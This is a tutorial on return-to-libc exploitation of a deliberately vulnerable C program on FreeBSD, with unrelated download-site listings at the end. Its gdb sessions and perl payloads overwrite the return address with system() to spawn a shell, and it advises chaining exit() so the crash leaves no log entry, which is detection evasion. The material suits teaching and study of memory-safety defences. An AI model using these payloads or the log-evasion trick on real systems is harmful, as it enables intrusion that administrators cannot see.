Return into libc attacks used to bypass non-executable stacks
BY c0ntex[at]gmail[Dot]com
Bypassing non-executable-stack during exploitation using return-to-libc
Returning to libc is a method of exploiting a buffer overflow on a system that has a non-executable stack, it is very similar to a standard buffer overflow, in that the return address is changed to point at a new location that we can control. However since no executable code is allowed on the stack we can't just tag in shellcode.
This is the reason we use the return into libc trick and utilise a function provided by the library. We still overwrite the return address with one of a function in libc, pass it the correct arguments and have that execute for us. Since these functions do not reside on the stack, we can bypass the stack protection and execute code.
In the following example I will use the system() function, a generic return argument and a command argument, "/bin/sh", and as no shellcode is required to use this method, it is also a very suitable trick for overflows where buffer space is a real issue.
How does the technique look on the stack - a basic view will be something similar to this:
[-] Buffer overflow smashing EIP and jumping forward to shellcode
1 2
|-------------------|-----------|------------|---------------------------|
| AAAAAAAAAAAA | RET | SHELLCODE |
|-------------------|-----------|------------|---------------------------|
args EBP EIP
[-] Buffer overflow doing return-to-libc and executing system function
1 2 3
|-------------------------------|------------|--------------|------------|
| buffer | system | fake_ret | /bin/sh |
|-------------------------------|------------|--------------|------------|
args EBP EIP
Now that we know what we need to achieve, let's compile the vulnerable application and run it.
/* retlib.c */
#include <stdio.h>
int main(int argc, char **argv)
{
char buff[5];
if(argc != 2) {
puts("Need an argument!");
_exit(1);
}
printf("Exploiting via returnig into libc function\n");
strcpy(buff, argv[1]);
printf("\nYou typed [%s]\n\n", buff);
return(0);
}
-bash-2.05b$ ./retlib AAAAAAAAAA
Exploiting via returning into libc function
You typed [AAAAAAAAAA]
-bash-2.05b$ ./retlib `perl -e 'print "A" x 30'`
Exploiting via returning into libc function
You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
Segmentation fault (core dumped)
-bash-2.05b$ gdb -q -c ./retlib.core
Core was generated by `retlib'.
Program terminated with signal 11, Segmentation fault.
#0 0x08004141 in ?? ()
(gdb)
By adding another two bytes to the buffer we will overwrite the return address completely:
-bash-2.05b$ ./retlib `perl -e 'print "A" x 32'`
Exploiting via returning into libc function
You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
Segmentation fault (core dumped)
-bash-2.05b$ gdb -q -c ./retlib.core
Core was generated by `retlib'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) q
-bash-2.05b$
RET overwrite buffer size: 32
So we know the buffer length we need to use, next we need to find the address of a library function that we want to
execute and have perform the job of owning this application.
-bash-2.05b$ gdb -q ./retlib
(no debugging symbols found)...(gdb)
(gdb) b main
Breakpoint 1 at 0x804859e
(gdb) r
Starting program: /home/c0ntex/retlib
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804859e in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x28085260 <system>
(gdb) q
The program is running. Exit anyway? (y or n) y
-bash-2.05b$
System address: 0x28085260
We can see the address for system is at 0x28085260, that will be used to overwrite the return address, meaning when
the strcpy overflow triggers and the function returns, retlib will return to this address and execute system with the
arguments we supply to it.
The first argument will be that of /bin/sh, having system spawn a shell for us. You can either search the memory for
the string or you can add one to an environment variable, the latter is easiest and shown here.
One thing to note is you need to make sure that you drop the SHELL= part as this will royally screw things up. Drop
back into gdb and find the address of the string "/bin/sh"
-bash-2.05b$ gdb -q ./retlib
(no debugging symbols found)...(gdb)
(gdb) b main
Breakpoint 1 at 0x804859e
(gdb) r
Starting program: /home/c0ntex/retlib
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804859e in main ()
(gdb) x/s 0xbfbffd9b
0xbfbffd9b: "BLOCKSIZE=K"
(gdb)
0xbfbffda7: "TERM=xterm"
(gdb)
0xbfbffdb2: "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/home/c0ntex/bin"
(gdb)
0xbfbffe1f: "SHELL=/bin/sh"
(gdb) x/s 0xbfbffe25
0xbfbffe25: "/bin/sh"
(gdb) q
The program is running. Exit anyway? (y or n) y
-bash-2.05b$
Great, so we have all the information we need and the final buffer will look like the following:
EIP smash = 32 - 4 = 28 (due to padding)
system() = 0x28085260
system() return address = SEXY (word)
/bin/sh = 0xbfbffe25
|-------------------------------|-------------------|--------------|----------------|
| 28 A's | 0x28085260 | SEXY | 0xbfbffe25 |
|-------------------------------|-------------------|--------------|----------------|
args EBP EIP
Remember that things are pushed onto the stack in reverse, as such, the return address for system will be before the address of our shell, once the shell exits the process will jump to SEXY, which, to save having a log entry should call exit() and cleanly terminate.
Putting that together, we whip up our command line argument:
retlib `perl -e 'printf "A" x 28 . "\x60\x52\x08\x28SEXY\x25\xfe\xbf\xbf";'`
lets give it a try :-)
-bash-2.05b$ ./retlib `perl -e 'printf "A" x 28 . "\x60\x52\x08\x28SEXY\x25\xfe\xbf\xbf";'`
Exploiting via returning into libc function
You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAA`(SEXY%縘
=/home/c0ntex: not found
Segmentation fault (core dumped)
-bash-2.05b$
Hmm, something went wrong, open it up in gdb and verify the location of SHELL, it seems to have changed
-bash-2.05b$ gdb -c ./retlib.core
GNU gdb 5.2.1 (FreeBSD)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-undermydesk-freebsd".
Core was generated by `retlib'.
Program terminated with signal 11, Segmentation fault.
#0 0x59584553 in ?? ()
(gdb) x/s 0xbfbffe25
0xbfbffe25: "ME=/home/c0ntex"
(gdb) x/s 0xbfbffce8
0xbfbffce8: "/bin/sh"
(gdb) q
-bash-2.05b$ ./retlib `perl -e 'printf "A" x 28 . "\x60\x52\x08\x28SEXY\xe8\xfc\xbf\xbf";'`
Exploiting via returning into libc function
You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAA`(SEXY椟靠]
$ ps -ef
PID TT STAT TIME COMMAND
563 p0 Ss 0:00.92 -bash (bash)
956 p0 S 0:00.02 ./retlib AAAAAAAAAAAAAAAAAAAAAAAAAAAA`R\b(SEXY\M-h\M-|\M-?\M-?
957 p0 S 0:00.01 sh -c /bin/sh
958 p0 S 0:00.02 /bin/sh
959 p0 R+ 0:00.01 ps -ef
$
Segmentation fault (core dumped)
-bash-2.05b$
On my FreeBSD box, the above core dump will be logged in /var/adm/messages, and an administrator will be able to tell that someone has been trying to exploit a binary
Apr 11 12:25:48 badass kernel: pid 976 (retlib), uid 1002: exited on signal 11 (core dumped)
If you want to remain stealth it is advised to change the return address of SEXY to the libc address of exit(), so when you quit there won't be any log of your activity.
-bash-2.05b$ gdb -q ./retlib
(no debugging symbols found)...(gdb)
(gdb) b main
Breakpoint 1 at 0x804859e
(gdb) r
Starting program: /home/c0ntex/retlib
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804859e in main ()
(gdb) p exit
$1 = {<text variable, no debug info>} 0x281130d0 <exit>
(gdb) q
The program is running. Exit anyway? (y or n) y
-bash-2.05b$ ./retlib `perl -e 'printf "A" x 28 . "\x60\x52\x08\x28\xd0\x30\x11\x28\xe8\xfc\xbf\xbf";'`
Exploiting via returnig into libc function
You typed [AAAAAAAAAAAAAAAAAAAAAAAAAAAA`(?(椟靠]
$ exit
-bash-2.05b$
There, this time it was clean the function exited cleanly and did not leave a log entry behind. As you might have guessed from tagging exit() into the argument, it is possible to string multiple function calls together by creating your own stack frames. This process is well documented in a phrack article by Negral in his phrack document http://www.phrack.org/phrack/58/p58-0x04 and is useful for port binding and many other tricks.
EOF
分享到:
相关推荐
Bypassing non-executable-stack during exploitation using return-to-libc.pdf
程序发生错误 找不到 libcc_s_seh-1.dll,安装该 dll 后,重新运行即可
复旦大学_软件安全_SEED labs_2-Return_to_libc实验 是从雪城大学SEED labs上找的实验 资源包括:原始文件夹、攻击代码、实验报告详细版
ubuntu系统安装drcomd客户端时所需要的文件: linux-libc-dev_2.6.24-16.30_i386.deb和libc6-dev_2.7-10ubuntu3_i386.deb
ubuntu系统安装drcomd客户端时所需要的文件: linux-libc-dev_2.6.24-16.30_i386.deb和libc6-dev_2.7-10ubuntu3_i386.deb
valgrind在linux系统安装时,...将此文件安装对应版本的libc6-dbg库,将文件夹中libc6-dbg_2.23-0ubuntu11.2_amd64.deb移动到服务器,到对应目录下安装libc6-dbg,执行: dpkg -i libc6-dbg_2.23-0ubuntu11.2_amd64.deb
官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装
Qt 5.9.9 Linux下静态编译的库,支持图形界面,编译出来的图形界面程序通过ldd查看依赖无Qt. 编译环境:Cent 7.6 x64, GCC 4.8.5, lic为2.17 自行编译请参考: ./configure -confirm-license -opensource -debug-...
用于分析ELF文件格式
ubuntu 软件包 用于装ubuntu系统 不能上网时 离线更新用 装wine必须的
在ubuntu14.04上,要运行32的程序,需要安装32位的兼容库。这里包含lib32z1_1%3a1.2.8.dfsg-1ubuntu1_amd64.deb+libc6-i386_2.19-0ubuntu6.7_amd64.deb,另外,安装的是时候要同时安装两个文件
The Shellcoder's Handbook 2nd Edition About the Authors vii Acknowledgments xi Introduction to the Second Edition xxiii Part I Introduction to Exploitation: Linux on x86...Return to libc 35 Conclusion 39
解决 /lib64/libc.so.6: version `GLIBC_2.17' not found sudo dpkg -i ipts libc6_2.17-0ubuntu5.1_i386.deb
Lab2-Return-To-Libc,包含代码、实验说明、相关论文。
myRedisNetDemo-libc-20180609myRedisNetDemo-libc-20180609myRedisNetDemo-libc-20180609
libc库和系统调用
做pwn题,有些时候题目不给这个文件,这里是这个库的文件。
无法打开文件libc.lib。解决方法
libc6_2.31 manpages-dev_5.05 binutils-common_2.34 linux-libc-dev_5.4.0 libctf-nobfd0_2.34 gcc-10-base_10 libgomp1_10 libquadmath0 libmpc3_1.1.0 libatomic1_10 libubsan1_10 libcrypt-dev_4.4.10 libisl22_...
realplay-10.0.6.776-linux-2.2-libc6-gcc32-i586